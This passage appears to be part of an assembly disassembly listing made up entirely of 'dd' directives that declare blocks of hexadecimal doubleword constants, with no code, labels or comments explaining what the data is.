		dd 80B97609h, 0A8F4193Dh, 100A746h, 61CE0B10h, 1AA5E1h
		dd 0CDBAA35Eh, 0D1DCA8EEh, 0E90A0712h, 0FD190700h, 0A03829FFh
		dd 77484D8h, 60FCF485h,	0BC14A0F0h, 500430Ah, 8ABA9C08h
		dd 2F9AB1h, 0B98063ACh,	0EB15C621h, 88D8B600h, 0BCCC99E7h
		dd 0AA0700C5h, 0D294FBA0h, 727E3DECh, 3810BF60h, 3AB67D84h
		dd 36BC618Eh, 260196Fh,	0FA0AA971h, 0AAA040E1h,	0F700788Fh
		dd 330E8B5Bh, 0AF1A93h,	0A2F36439h, 1E67EF0Bh, 0F74F9B00h
		dd 9A6CE527h, 0D24D002Eh, 874051ACh, 1B02DB9Ch,	8194E42Bh
		dd 786407Bh, 18C598EBh,	0AA6E099Dh, 0AF006421h,	349E9351h
		dd 9FC8FAh, 7B79E4E3h, 1238CB26h, 2AD97A00h, 0E91E2BF5h
		dd 0CD1A0ED2h, 0D4478329h, 0A52ED207h, 346D32C0h, 4BE4DE00h
		dd 0E578B0C7h, 0FE30009Dh, 16ECB8C5h, 0C8EAAFF6h, 7880EE30h
		dd 0A1F53Dh, 0DD2567CFh, 0B7B6B3A4h, 11B80549h,	0CC02AAEFh
		dd 141E5904h, 0E00CFE3h, 5A6DB957h, 619421h, 0B77F8D76h
		dd 3A5E7B88h, 25D1CA00h, 0D08C535h, 74E100A9h, 0A350F0D8h
		dd 210768B6h, 0FEB7C6EBh, 1C36F3h, 80069D71h, 0A824F4F6h
		dd 0DA4F93Ah, 207AB5C4h, 5FF1CCEDh, 1898FDF0h, 180C7FC0h
		dd 54CE5E2h, 7CBB07F7h,	92408F65h, 9FF017h, 0EA6622A6h
		dd 6E414798h, 4CEEC600h, 7646D8E2h, 13EB008Fh, 0EB4C781h
		dd 0EF71EC91h, 839E111Eh, 4C399FC1h, 108162C9h,	17A4157Bh
		dd 9868E48Fh, 0C7C7CFAh, 8E9F2105h, 48012005h, 800D9DC9h
		dd 0A11BB180h, 9F91AD37h, 44AB6803h, 0A0459FCh,	249B0CF0h
		dd 0F87C201Ch, 28AAF6C8h, 145CE1h, 0E7B698E3h, 0B30D8E16h
		dd 0A4145800h, 62E23CA6h, 6C190E5Bh, 56C07AF3h,	219DDA03h
		dd 3001BEF6h, 1880C4F6h, 87DCCF02h, 24781E82h, 6CB2001Fh
		dd 6F3E558h, 0AF4CE200h, 3CE4F4FDh, 3BE8CDh, 0EEDD0F48h
		dd 9213F20Dh, 0E604F57Ah, 1F1977EFh, 415E5FC0h,	0B075E3h
		dd 0CAEEA7DBh, 4C623F11h, 0A421E500h, 315CFE94h, 4B0F0AEBh
		dd 80F4AD54h, 80665079h, 9E0025EDh, 55144D46h, 14A3F15h
		dd 1DBC9FC5h, 2AF424A8h, 7892F480h, 84CC00C8h, 8FC1B7FBh
		dd 0D648CEC3h, 23B201D4h, 7B0B76F0h, 16CCA450h,	0C89CA855h
		dd 75F7FD0h, 0C196BF50h, 0E9550B3h, 450EDDE7h, 20C91E31h
		dd 0A999ADD8h, 0FA081F8Eh, 0A2B4F37h, 0F048D6C0h, 1B074FFCh
		dd 9B1A98CEh, 0D5308347h, 0C037548Ch, 3810C1D1h, 0B600E0D8h
		dd 93A80EA4h, 3CFAFCC3h, 1C030358h, 180D9B5Ah, 50173128h
		dd 7E01EEEAh, 91FE24CAh, 29D50520h, 16D2CE8h, 5097CDDFh
		dd 800316F1h, 0DC336831h, 39F434h, 0E9F1AFEh, 0E1626C6Eh
		dd 82488B1Eh, 1194360Ch, 2B831E79h, 0CC9B80A8h,	0CB16877Fh
		dd 859A8E1Eh, 0DD317E00h, 6DA3A9h, 0BDA0A1Fh, 617065CAh
		dd 2D066E7Dh, 0F081FAB7h, 0B8F32E19h, 0B4803F6Ah, 99E56746h
		dd 0AE8C368h, 92CFCA1Dh, 4011128Eh, 6E8A72F7h, 659006B5h
		dd 18EE2002h, 676B0F01h, 64E85E7Dh, 8AE003FDh, 0F255789Dh
		dd 0E08B0BD5h, 5C83600Ah, 93B01065h, 0F39818Fh,	5BEF07C7h
		dd 3823266Eh, 4E65D0F6h, 2872606Bh, 5E0E7F91h, 32F718C1h
		dd 0CA000D64h, 7BFA31B0h, 6884EA30h, 4892F6h, 9121D37h
		dd 0C02E9BFh, 5A03060h,	0FE7F66A0h, 0A881C0ECh,	0F7834E8Fh
		dd 633C0F03h, 0C3F27D6h, 9D9A7E58h, 807F918h, 0B7883EA0h
		dd 0C00E35C3h, 6257CFh,	65156EB4h, 9174F749h, 10A44C50h
		dd 0A87B1D3Fh, 2608489Ah, 8477FB90h, 17642Ah, 7682D58Bh
		dd 80CA1D36h, 7E6E82B8h, 749E20E6h, 0C39A6221h,	6B802C03h
		dd 2D07A30Eh, 0DF92EAE8h, 9386CC3Ah, 0FA18A947h, 0D83054E2h
		dd 6E8BF803h, 0E5835094h, 7186F2DCh, 4243C500h,	5721EA01h
		dd 0F9E24CC6h, 8F84974h, 763CA300h, 7040953Fh, 983ACB00h
		dd 228FD505h, 0C09CA09Bh, 0B788A07Dh, 62E30537h, 42CBB47Ch
		dd 3A9ECFBCh, 0B8EFB0A0h
		dd 20C00297h, 0E3206575h, 0EA29C5C7h, 6F9D805Dh, 8533B241h
		dd 71D8094Ch, 51B50F21h, 0E206A05Dh, 641DD914h,	0B698B2CAh
		dd 38072A71h, 2E035EC0h, 68B11E1h, 21980830h, 6C03F4Bh
		dd 7FC64F4Dh, 640CB868h, 500F7CE2h, 98A001Dh, 0B74489C1h
		dd 0FF00AD6Bh, 3A05DB99h, 0EF1391h, 0F89C6F46h,	443D5DD8h
		dd 2B5A0D1Eh, 5C7FFD80h, 0F29B91BFh, 69144CA3h,	0FA6CDE03h
		dd 0B0A802CFh, 340083CBh, 5D83A69h, 68216Ah, 65A4F42h
		dd 0A6BCAEB5h, 0BAC99800h, 92F02A36h, 0EF2900E1h, 5BFF860Ah
		dd 380012E9h, 8D8E9A95h, 0EF09CC8h, 0D2075347h,	2354B381h
		dd 1C6805Bh, 0D9E062Ah,	0AE8F248Eh, 0DB670E1Ah,	0F16A1540h
		dd 0B0FB0CCh, 8056AA9Dh, 24ABFE29h, 60060007h, 88BD0DD6h
		dd 0A700820Ah, 0FDF1C2D9h, 0D8FBD1h, 0DAC38B80h, 0E868AB35h
		dd 3067BD34h, 22060460h, 0AF10CF26h, 0E628CAh, 5EF7890h
		dd 0A00C5C9h, 6FF2BACh,	65515E6h, 0B3F5AFA0h, 0DC222840h
		dd 11AD42E0h, 0B43916BAh, 1084C0C4h, 212AF2EEh,	0B55708BEh
		dd 7584C490h, 3CF24AF7h, 0A125110Ch, 8C14A128h,	8E762842h
		dd 902B0814h, 0F32E840Ch, 3F804A48h, 0C3EA675Eh, 0C9F600A3h
		dd 0AEF75634h, 310F1FD5h, 0C01AAD06h, 3B1DCEB3h, 0BB3A0091h
		dd 226748A3h, 8B0023ECh, 429AC0D7h, 4C6044h, 798BE01h
		dd 0A0E53DD6h, 2A74A800h, 0C9B282BBh, 0BAA10059h, 265EF9E9h
		dd 7E00988Ah, 2A38AA9Eh, 11468C0h, 64373378h, 0E8B17F0Eh
		dd 0C4004619h, 364379CBh, 0F2E0C103h, 75E80037h, 5746F34h
		dd 0C00C5B1h, 393BC029h, 7EA18Fh, 4126EB8Ch, 202AD2CFh
		dd 52632B0Fh, 80AE0B67h, 0A33C3DE2h, 5573005Eh,	0B97A365Ah
		dd 8D0008A5h, 0E46B04C1h, 7875728h, 25EBDBD8h, 18CE4043h
		dd 7375F0D6h, 0FE97AE01h, 7E6329EEh, 1F20BE4h, 0FD13882Fh
		dd 206DEACDh, 81008A2Ch, 9A6A9B9Dh, 0F6E92A6h, 19EEBE04h
		dd 13C776E0h, 3F002D8Ah, 8D18FDEFh, 18F6659Ch, 0C0BB8BA0h
		dd 221A6815h, 4060958Ah, 11033F2h, 5EE17B04h, 2407B411h
		dd 0D9EE4B64h, 0E0B3EB00h, 6252FD2Bh, 0DCD3059Eh, 8719F61Bh
		dd 7A9D83C9h, 0C6491EC8h, 3C7DDF05h, 0D0300C6Ah, 62D1A45Ch
		dd 46F77010h, 0D57198C0h, 0E6A2FB02h, 807BBEEBh, 0CD1969C8h
		dd 85750030h, 0C8E52627h, 0C2F05E83h, 0DC58646Eh, 2A97A500h
		dd 7CE8B2EBh, 0E9221E39h, 5B95C0D5h, 0D0CF1162h, 23667001h
		dd 0A633B828h, 8781B13Eh, 2D45A240h, 16637B40h,	0AEF60024h
		dd 0BF4BD007h, 0C2EA9EB0h, 322F6F00h, 58BD9428h, 36590085h
		dd 0F82B3EF0h, 0AB7F1E93h, 5EC91A00h, 19DFA737h, 0AFCF00CCh
		dd 0DE687CB9h, 28079FEAh, 0E180F9ADh, 9DFFE2B0h, 120D04D7h
		dd 0C0627463h, 42E35B10h, 50FF394Ch, 0B500EA55h, 269B27B3h
		dd 60E3D6Fh, 0A1FF2905h, 0D63E48FBh, 0CCE680F9h, 0D3BA9645h
		dd 722B009Ah, 0CE36713Bh, 9B0F607Fh, 8E7E84D4h,	404900BBh
		dd 0FB77ECh, 3561B61Dh,	0B716A902h, 0E3FE204h, 897B1A1h
		dd 439BA03Fh, 9ACCD97h,	0AA0BC0F3h, 0FCA0600Eh,	75D3A804h
		dd 2694803h, 985DBA97h,	9B7718h, 0ECA0F0CDh, 0D87BCA47h
		dd 570C3403h, 2A63933h,	0FFDBBC40h, 28482D9Ah, 0DE1CC6B1h
		dd 0DF1224B7h, 8A70F000h, 728E2C02h, 858303EDh,	0F248B6Ah
		dd 0C99D2EC8h, 161CA812h, 806E1009h, 0EE04250Ah, 0B3700C8h
		dd 50AB97D8h, 22074B72h, 0FB2987E6h, 69C0E530h,	1CAD00EFh
		dd 53F63602h, 0BB00D40Bh, 6BFCD63Bh, 507A5B28h,	38F8A5h
		dd 64E22698h, 68092A3Eh, 0E849F600h, 0B83DC6F1h, 7C6A0FB9h
		dd 72604188h, 0B0298436h, 3E80EC00h, 0F7B89069h, 99BF079Ah
		dd 408B9152h, 231B0197h, 253CDD00h, 6FA09B70h, 0D21D0016h
		dd 1ABEB2D4h, 14B0F2E0h, 0FF233Bh, 0E9D7924Dh, 1F1B6B48h
		dd 0C0401114h, 6A5D195Ch, 0A407AE2Bh, 0C0CD92C4h, 7772B311h
		dd 3477EC8h, 0E5362DAFh, 94B80935h, 59008BDAh, 9552CA7Ah
		dd 7D55C0F5h, 9EF0076h,	9C08E4A7h, 0C4382887h, 865307DDh
		dd 0C8A53915h, 44650CC0h, 0AF3092Dh, 0C8056D38h, 0A6A440F6h
		dd 7E40DE23h, 1DE33C00h, 27362ABh, 541100DDh, 7A832F49h
		dd 21041867h, 0C3F886F0h, 925968D6h, 77F268h, 46CD6FFDh
		dd 0E195BD9Fh, 5316FBFAh, 9C40919Ch, 5877EF2Bh,	0A614090Fh
		dd 205905h, 79212464h, 86D61500h, 47732C2h, 0E87B4DEAh
		dd 0AD038207h, 82B9849Bh, 948EEE6Ch, 0E0A29AA7h, 63539FC5h
		dd 69E7E602h, 60926580h, 602D8F91h, 0C2AF786Fh,	70988453h
		dd 7D941403h, 838186h, 6646FB10h, 923888C5h, 0B800557Eh
		dd 0E79F3E84h, 12306A1Bh, 29D98C9h, 0A9804C78h,	5A3D4840h
		dd 201DFD09h, 54B0538h,	2EC31480h, 44D712EBh, 0FA8D0036h
		dd 259CE6E9h, 0A3AB8704h, 10D03F32h, 24602136h,	915A43h
		dd 6AFA824Fh, 70075E6h,	1D3D4283h, 9378485h, 8FBC5C87h
		dd 0FAB53480h, 0D307FFA6h, 0B0A445AAh, 0BB92F840h, 42FD007Eh
		dd 0B6A6219h, 0C900A15Fh, 0BE68C405h, 9CADABh, 0F266CA74h
		dd 0EFE62109h, 2875000h, 4F17EB9Dh, 63ECD5h, 74CBA5EEh
		dd 2642762Dh, 1843C58h,	4E66538Bh, 10803A83h, 0D9505B06h
		dd 0CB0E0745h, 0EB2686ABh, 6890A1C1h, 0DC483995h, 703FB831h
		dd 2BAA3EA0h, 0A4F612h,	0A5BC5A34h, 890EDF9h, 53121901h
		dd 0FAB34610h, 0B413A080h, 0A943A68Ch, 22003898h, 6A3E6DA1h
		dd 0C0B024h, 0DB8AB91Eh, 0AFA51934h, 21033090h,	0B0C3488Eh
		dd 0EC58B80Fh, 86BD03C1h, 46B664FCh, 8D59D0C0h,	0F400D7ECh
		dd 0A71452ABh, 0E434984h, 0BBBF709Fh, 280017ABh, 64A12553h
		dd 132F0A1Dh, 0AA3051C0h, 0F83F85h, 0F3DCAD33h,	429F70EEh
		dd 21E8D900h, 0E4C7A4BFh, 0C14B00F4h, 13DE9681h, 9A1C3F24h
		dd 4DC56452h, 3480CA66h, 2FFBC8h, 577DF60Ch, 0CB916DA4h
		dd 75323E00h, 0DB870779h, 967790h, 0F241DCF9h, 0FC81D966h
		dd 5BBF230Ch, 3D6309Fh,	0CEA860CAh, 3FC8B553h, 0C100353Ch
		dd 108A1AE2h, 1D3CD7Dh,	0A52A4A02h, 0E00F41B8h,	64769925h
		dd 0E6F22100h, 70E1DD77h, 36B10033h, 9AFB886h, 1E008F19h
		dd 431322A6h, 17A958h, 0ED6B2B54h, 8CF34E51h, 0FD2CD416h
		dd 0A89EE440h, 377B05Fh, 7284213Ah, 2BD0799Fh, 6010E2Ah
		dd 44E8A290h, 6420B157h, 7CE6053Ah, 90AFF6FFh, 3669A46Ch
		dd 126D3200h, 0C494584Dh, 0B21500BEh, 64779E07h, 0A7027459h
		dd 0EDF24F88h, 82736050h, 528A0523h, 80E6DA1Dh,	0FDB75698h
		dd 0A1038498h, 0AFF0C3FFh, 0C4A2F9F3h, 7572C20h, 6DE5E9A3h
		dd 7EEB3152h, 0E4047003h, 56008690h, 5585F32Bh,	8F79A2h
		dd 0DDBBF939h, 0C370B4D0h, 229EEB00h, 36194105h, 663A00DAh
		dd 65EDC92Dh, 0F34C8C4Fh, 1DBC0B44h, 5BC0840Fh,	137BE880h
		dd 0D68200DCh, 42BE4168h, 0CE2F0B5h, 0DBC02700h, 66588435h
		dd 0AA70ED33h, 0B0E80791h, 0C08BC88Fh, 6EE783F6h, 552C9EECh
		dd 4AB8B847h, 88F20820h, 0C5E41E4Ch, 6DCE073Dh,	0F0BFA6F8h
		dd 0EE762A00h, 0C5229958h, 0C195010Ch, 0A6C83A3h, 379CD8F8h
		dd 989648h, 0AE401AB5h,	6BF6F65h, 5CCA73A7h, 12E706Ch
		dd 0C88E38EFh, 0F200DEB1h, 9C4F11C9h, 19A0A021h, 42DA1239h
		dd 69680A7Ah, 643D0084h, 0A2FBDFEh, 7705D002h, 0E80ED952h
		dd 3B94710h, 41FA9039h,	66A2ED71h, 0E5BB2063h, 0DA1140EFh
		dd 0C20036ECh, 192480B6h
		dd 73E6CEh, 0FC2C060Fh,	3063F9DEh, 7E58F7FAh, 876A00C4h
		dd 0FD4835CAh, 0AC19006Bh, 0C0E4DC91h, 63003BBEh, 57AE085Ch
		dd 120C48EBh, 4A6CB1h, 3AFB9CA8h, 84A09D6Ah, 0CE00E481h
		dd 6DD2CCAAh, 39F62B17h, 2700BA0Dh, 3E681491h, 0E100E5D3h
		dd 0BBEEA70Eh, 0AB2025h, 0F66733B1h, 0AECAF3A2h, 0BC0046F2h
		dd 906FB6D9h, 0D8C981h,	879D9480h, 0E135E965h, 1D98A200h
		dd 0EE17F21Ch, 0C5060140h, 2DCA33F0h, 7513DC82h, 0ACDAFD01h
		dd 77FE8964h, 0E7DD6865h, 247DC848h, 37379Eh, 79608F75h
		dd 0E6E457AFh, 88221101h, 0FF6D72CFh, 69F4806Ah, 0EA01BDC2h
		dd 8CCA1078h, 0D8800C54h, 0E71D53Bh, 31024614h,	6ECC1A90h
		dd 984CE12Bh, 340ADCCh,	78F022A7h, 0F2D09921h, 270E8CFFh
		dd 0F1FD57h, 8D81CA1Fh,	77610E1Ch, 0B70039FEh, 0E12D3389h
		dd 9A140300h, 0D4E62FCEh, 52D818ADh, 4D2A2015h,	50716C00h
		dd 963084F2h, 385570ACh, 83B1BBD1h, 0CC16289Eh,	9D002249h
		dd 0BE5A84A8h, 60121E72h, 857DF255h, 9400B22Ch,	0D1C3341Ah
		dd 1CEE4A92h, 0C0CB4517h, 31D8F41h, 0EF00C4DFh,	4C601196h
		dd 7E1FEDh, 2D9A7B88h, 0B7318D0Eh, 0AFC63F01h, 252A6790h
		dd 4DE893D5h, 550B07D0h, 99BE476Ah, 0D7023B7Ch,	6C7D5EC7h
		dd 8EA1001Ch, 70419635h, 4B0058ECh, 11AEF61Ch, 0B8D81502h
		dd 0E97800B7h, 8D69F9E8h, 53B05CA9h, 204CB400h,	9862BCF3h
		dd 0B3BB00D9h, 0EC19A601h, 9A00C366h, 0B5C6E035h, 0C3FA8h
		dd 7A5C59A0h, 266555D3h, 702D6302h, 0C883E73Ch,	1F4838C4h
		dd 0C99B1E6Dh, 7C18AA78h, 201C35A0h, 138195BFh,	90DE8B8Dh
		dd 8EC4AFE5h, 22120460h, 80A8CC7Ah, 6FD4E888h, 0F48A9824h
		dd 51003012h, 776C4481h, 13700372h, 0A6E2A1ECh,	0D66570DFh
		dd 0D400BB0Bh, 958D6450h, 13F9C534h, 2E962Dh, 29A80354h
		dd 8407690Ah, 3938A93Fh, 26EA7040h, 0E1F73CD8h,	345F2Eh
		dd 9B46A8C7h, 4302A369h, 0F9B272EBh, 4FD4405Dh,	0F4EC0CF1h
		dd 0C3D9561Fh, 0D6196800h, 0A8598217h, 0B0180039h, 8B83E5Fh
		dd 79008D3Ch, 76CC8E38h, 76FD94F7h, 693F00A4h, 46634AE4h
		dd 81004CAAh, 3D1260Ch,	39233313h, 0AF0079DDh, 3EA3175Bh
		dd 7D1C0840h, 78895F41h, 47DCC0E3h, 45773EECh, 0A5A71E80h
		dd 0BE3C3D71h, 5A48CE1Ch, 0D0505647h, 620880B9h, 0F23460h
		dd 84E9C33Bh, 12CE3A08h, 5B14AC07h, 46306ABDh, 2D9F0F5h
		dd 263D21FFh, 0FC687804h, 7238A23Bh, 0A6E90208h, 79FC3339h
		dd 83FB0804h, 0B223853Bh, 84809B78h, 20B337Eh, 35ABD8B9h
		dd 0B061D002h, 706FECD6h, 8021BD3Eh, 49BEB839h,	2CE5C164h
		dd 6B6C56h, 0D49F908Eh,	3C4804E6h, 21380030h, 0B7131767h
		dd 8B4F4840h, 0D2B96600h, 23D98A25h, 0E2CA7A00h, 0C0724E3h
		dd 95E50011h, 0ACBF4EA0h, 0C9F299DEh, 2E36CB00h, 610901DFh
		dd 5878B863h, 574C5C95h, 715C4Ch, 0CB8B38CAh, 81062D32h
		dd 2109D00h, 74E180F5h,	567E07E6h, 0B925413Ch, 88756300h
		dd 12007377h, 8C6A32A0h, 26738AFh, 0EA3A8B24h, 0CDC0F915h
		dd 702DE1Ch, 0BEC7FB64h, 3A6FE0DFh, 998100C4h, 199ECCD8h
		dd 24003268h, 5E822892h, 140BA47Ch, 9CBBE158h, 0D15B1F00h
		dd 0E5BC1652h, 0D70507FCh, 371EDC0h, 7A34A0h, 0D220124Fh
		dd 0DBCCD046h, 837D5F00h, 9B449A71h, 70526F29h,	0C6207720h
		dd 9CA05637h, 605A5EB6h, 0D3479002h, 0FB90C03Ah, 0EA173ACFh
		dd 400091C0h, 4F62B769h, 7B938CD8h, 0E9CF00A6h,	5F45A5BEh
		dd 4C131B7Ch, 0CC01AA4Eh, 2B0EE854h, 5DC4D7F1h,	8CB804E5h
		dd 0C01CC9FDh, 89901416h, 6C1690B0h, 0C903E78h,	767CDA9h
		dd 7A7D70A4h, 82D850F4h, 4B24625Ch, 86036089h, 989A7F98h
		dd 1E757CF1h, 0FC364Ch,	4B997E85h, 0F00C7DEBh, 0CE249E43h
		dd 0A0F0EEh, 8DFED592h,	7C34B41Ah, 9FC7E20Fh, 7E3AE1BBh
		dd 603498B1h, 0AEEC29h,	804DEF77h, 6FBA99FDh, 0B20F8D03h
		dd 0D8259382h, 7F42128Bh, 95F70939h, 6C8F86D0h,	0B7D879A0h
		dd 8F05A761h, 6B4EC1F0h, 59ABFC00h, 2F9A16h, 0B95C83CCh
		dd 0F5F4BFFFh, 1131FE00h, 90512CFh, 683B013Dh, 0A0797791h
		dd 0F4A8D9CBh, 0B000D0CEh, 472BC03Ch, 0C120E0h,	0C4537AADh
		dd 2642A11Ch, 1EFFEA1Eh, 0D06E80DEh, 40F0EE0Fh,	53221ABh
		dd 60BE1F52h, 96D0C04Ah, 0A43F23DBh, 70906779h,	7043A5Ch
		dd 0F07882AAh, 0CF344FA0h, 6E33006Ah, 0F74D1371h, 4E585B2Fh
		dd 0F9E31434h, 48790094h, 37CAAF91h, 9BA41E04h,	52A7814Eh
		dd 387DAD83h, 0A6610028h, 2C18C982h, 230600EFh,	756EBFB7h
		dd 400A03Dh, 0FB246115h, 5C782C1Eh, 0F403E002h,	36DC26B4h
		dd 56D66800h, 7B98D8Fh,	619F2697h, 5E76403Ch, 4E1E8A77h
		dd 0F0C0EE0Eh, 27898811h, 2B8B004h, 0BF981DB7h,	32E03249h
		dd 75485147h, 8DFA0078h, 7B64A618h, 0ED04071Eh,	0FF73F007h
		dd 9C945880h, 0E6006350h, 1C1B6A28h, 46FD0B0h, 4EC05A4Ch
		dd 9618F47Ch, 0EE2A7D00h, 74880187h, 0BFC0C152h, 201DD41Ah
		dd 9B98544Ch, 0C9090379h, 807797A9h, 0B2A63342h, 0AAB00050h
		dd 0FFD14174h, 772FC75h, 0E43A4D24h, 98C9060Ch,	5FD91D97h
		dd 27B800A2h, 14C4BD83h, 0A0528D00h, 90AA671Eh,	133B00D9h
		dd 948406E8h, 9F00CEB5h, 5E65E776h, 9814B74h, 0AB70F3D7h
		dd 6AAEAC40h, 41EC5800h, 0DFF20750h, 0CF8C0038h, 196C466h
		dd 9F0013C0h, 0D2F9DB1Ah, 40B75FAh, 0BC6857CDh,	0A2E6C043h
		dd 7C178199h, 0DD00665Eh, 36718D03h, 3CEC1E82h,	0B8026796h
		dd 78788880h, 6610DB0Bh, 1DD48018h, 1176B71h, 2396CB29h
		dd 0CC2CD457h, 0A2000A4Bh, 6EE8E04Ah, 1293261Bh, 0B012DFh
		dd 0CDBE4251h, 27130ED9h, 3C04E537h, 7E809276h,	1211CBD2h
		dd 7D5E662h, 0BFA6F7E4h, 0E4B1AE0h, 14BE8CA1h, 3ACA678Ch
		dd 6BDB00A2h, 7FA4D576h, 0EB1F2362h, 0D4CB6F21h, 0E840039Ch
		dd 0A88CB832h, 660600E7h, 0E5D6D13Ch, 340057ADh, 5ABBD5CBh
		dd 0F2840552h, 26F91D70h, 0F45500BAh, 0AD71B961h, 0AEB2DC00h
		dd 75B83097h, 0BF2100E5h, 5E3CEAF6h, 0ED01AD9Ch, 13AEC139h
		dd 84CC10A3h, 0F2E33D54h, 73A18002h, 0C4E0DBEFh, 0C89885D0h
		dd 0F3AFC800h, 0AD3ADD28h, 3F2A0218h, 889C7C52h, 0D670E068h
		dd 0E7B9FC1Eh, 7BEFCF87h, 0C9807404h, 1697Eh, 0B6E63C75h
		dd 306368DAh, 0D3002CBEh, 0CF33ECF5h, 2686284Fh, 488892ECh
		dd 0B000B86Dh, 3F4D9EB6h, 14010365h, 0C87A47B1h, 0F440A592h
		dd 0F3E907EEh, 8318C03Ch, 268FC01Eh, 4DCC6238h,	0F54C2CDCh
		dd 8C41A51Eh, 4333285Ah, 454AA12Bh, 0F403EB9Ch,	0AAFFAFh
		dd 15C65410h, 0F559585Dh, 0A1138614h, 0F6110B9Ch, 654CA53Bh
		dd 0DA0028F3h, 2D21DC50h, 0FA00DFC8h, 190FD1AAh, 1AEF1CAh
		dd 69717DBAh, 81318022h, 3EB5DCA8h, 0BED4D078h,	1BAD0039h
		dd 18E410A5h, 2760196Eh, 0B22C7AF0h, 4DD30045h,	0EA152D48h
		dd 4F00B4BAh, 316BDF5Fh, 0A37A36Ah, 1D2F270Ch, 349400B0h
		dd 83A7DA6Eh, 0B449E000h, 0D61944AFh, 8E70012Dh, 244E9486h
		dd 0B1BE874h, 0A43C4605h, 0CC00644Dh, 0BDE9333Bh, 0F0B300B9h
		dd 8C3ACAFEh, 860080EBh, 0A0F365A2h, 2FE2E4h, 0CF66D8ECh
		dd 37D4D2F7h, 0F4678916h, 0F3274C80h, 1E593E1Ch, 72ECED85h
		dd 7B14D20Fh, 3792C0E8h, 3898BA04h, 0A0F0D85Eh,	14BA46h
		dd 2B8193EBh, 90FBD189h
		dd 0FDEE909h, 8EA08122h, 4787856h, 0A3B77000h, 0B59801A9h
		dd 3EFAE11Eh, 614FC3C0h, 0FD09AF03h, 0C0F5D887h, 0A8730E0h
		dd 57770EF7h, 0A1F3F100h, 35548839h, 26B1907Dh,	24E3292h
		dd 17CC6C77h, 0C363246Ah, 51D8ADC0h, 0AEE4F270h, 0B59C900h
		dd 0D60C612Ch, 9811C0Eh, 1C87EF8Bh, 2029FBF6h, 70078489h
		dd 1C509293h, 0E7FA14FAh, 0F987AD05h, 30C010DAh, 92D941ACh
		dd 8E520B08h, 0E440AE9Ah, 4E1275E4h, 1C030E77h,	8765F121h
		dd 0A1FB8D90h, 0DAD4A0AFh, 22320097h, 0C4BB707h, 9E003831h
		dd 84CD5371h, 17C3B0h, 0CB8A0477h, 0E9B9B461h, 4740B30Bh
		dd 7208036h, 580217h, 4F0AA8FDh, 8DBF9B9h, 0B003B74h, 3DE1D2EEh
		dd 0EA2CCDh, 1E2BF817h,	0A07FF172h, 26A2E812h, 0CB93000h
		dd 1E578EBCh, 807112D5h, 6E089C75h, 390059A6h, 858FB323h
		dd 50663Dh, 0AEC60F93h,	0C72A6F7Eh, 2E90E404h, 28804079h
		dd 5469D301h, 0BE5FA43Bh, 25788124h, 0C0974A64h, 0C100B1ADh
		dd 39793528h, 60D3B7h, 8C900691h, 433D049Ah, 35F3300h
		dd 4114EB5Bh, 9B5D025Ah, 4DC58661h, 1E762840h, 47A044h
		dd 98266F7Bh, 0D52485A7h, 3526F898h, 4800701Ah,	95091E43h
		dd 0B17D0033h, 0F43D19EBh, 3500A20Dh, 2CB3257Ah, 4CF5CD04h
		dd 7602C036h, 80BD02FCh, 772B3040h, 0E01A8300h,	0E5AE1B18h
		dd 0E264B081h, 0C94F0714h, 6004BF23h, 38DC1260h, 0D5A13D04h
		dd 0ACDD1551h, 781F7AFCh, 30330286h, 4D3F84D9h,	2ABD10C0h
		dd 61C6BF07h, 8350A3E6h, 7D0B367h, 0F1309FC5h, 688FC173h
		dd 0D02834h, 649AB070h,	0E2259Ch, 300C6BADh, 1F2F4B44h
		dd 0F2AB9F00h, 0A3EE0AE4h, 0B1FD0370h, 0A5F8BB15h, 55C4DFD0h
		dd 74BEF5EEh, 420EE403h, 0DD10804Fh, 24020046h,	89E9DF11h
		dd 3F0926EEh, 506335Eh,	5895D749h, 11CFE480h, 0D6AF0BE3h
		dd 52838A2Ch, 0EDD84E28h, 0BF00B165h, 0C329680Bh, 3048BE09h
		dd 2071B934h, 6000D251h, 0F06B93FCh, 0F8D7B30Bh, 32631D26h
		dd 0D30F09DDh, 0E6D61841h, 8B3C1C80h, 753DA133h, 55C38043h
		dd 1F211C09h, 538816BEh, 519100B9h, 8B48E58Fh, 7011D500h
		dd 44EF4185h, 4B91384Fh, 0A1BFE380h, 83A07148h,	0F828B800h
		dd 0A84462A6h, 69570024h, 21B35492h, 0A003109h,	0D24B2019h
		dd 38DE3FC4h, 9693C76Ah, 882400B8h, 0B5FB770Dh,	0F5E54800h
		dd 0C88669CBh, 0B38C034h, 798E9032h, 0ECBDE1C0h, 7D3CF930h
		dd 0A3A1315Bh, 802FBCC8h, 797B4660h, 1DA4686Eh,	80DF287Ah
		dd 308E2EE1h, 0F47B7060h, 6F00F6E0h, 6AACE5C2h,	24D193h
		dd 679D2E7Fh, 1774DF56h, 9EAF8D13h, 0D8D27401h,	0D7EC1B25h
		dd 0E37500DCh, 45F67D3Ah, 5C00BD82h, 0B316A740h, 0DDBFF4h
		dd 1E42233h, 0B2ADD35Dh, 0EC002A7Eh, 6928D2CFh,	0EC1FA934h
		dd 54810027h, 0B6AFC44Eh, 8E014AB1h, 0CCC31276h, 0A3D8FEBEh
		dd 6A550014h, 0D93405B0h, 1300D047h, 194B7473h,	7CBCBAC5h
		dd 0FAC6903Ch, 2C0F3FFAh, 0DE2B0B00h, 0B8212204h, 0BD903Dh
		dd 9DB05BEh, 252310ABh,	44074E46h, 0EDE96F8Ch, 4E878D1h
		dd 9C085278h, 615D0E4Ch, 0E5556305h, 515C40D4h,	8300CAC5h
		dd 0E0271B3Eh, 9AF50AEAh, 3A131770h, 0B9AC4037h, 0D92964A2h
		dd 974F0D05h, 58C590C8h, 0C4704080h, 30125C8Ah,	2E5C0CC2h
		dd 4C9AFCF0h, 99F8560Eh, 875083AAh, 501882E5h, 0CE930078h
		dd 0BBFA3C9Fh, 0F4F9944Fh, 6000C521h, 234785C6h, 2D03BFEh
		dd 0C4241767h, 0F4E82DBAh, 0BD3CA2F7h, 68B0026Bh, 0E0CD112Eh
		dd 46D4DCh, 34E8049Fh, 9A7B257Ch, 48A00709h, 97D840DDh
		dd 5A230C0Fh, 24A11FF9h, 37645D00h, 0DC6CF0E6h,	126EF6C8h
		dd 1085B82h, 8A5AD645h,	50C7C938h, 0A1EC19B0h, 88A9C901h
		dd 37F6455Eh, 0A260E5CDh, 3F2A0561h, 85CA8CC5h,	946CF084h
		dd 0EE373Ch, 2E203D35h,	26C7E3h, 0C021B138h, 6AC877A2h
		dd 0E0F5DCABh, 0A300B2B0h, 982D6247h, 729CB52Bh, 32E3C45h
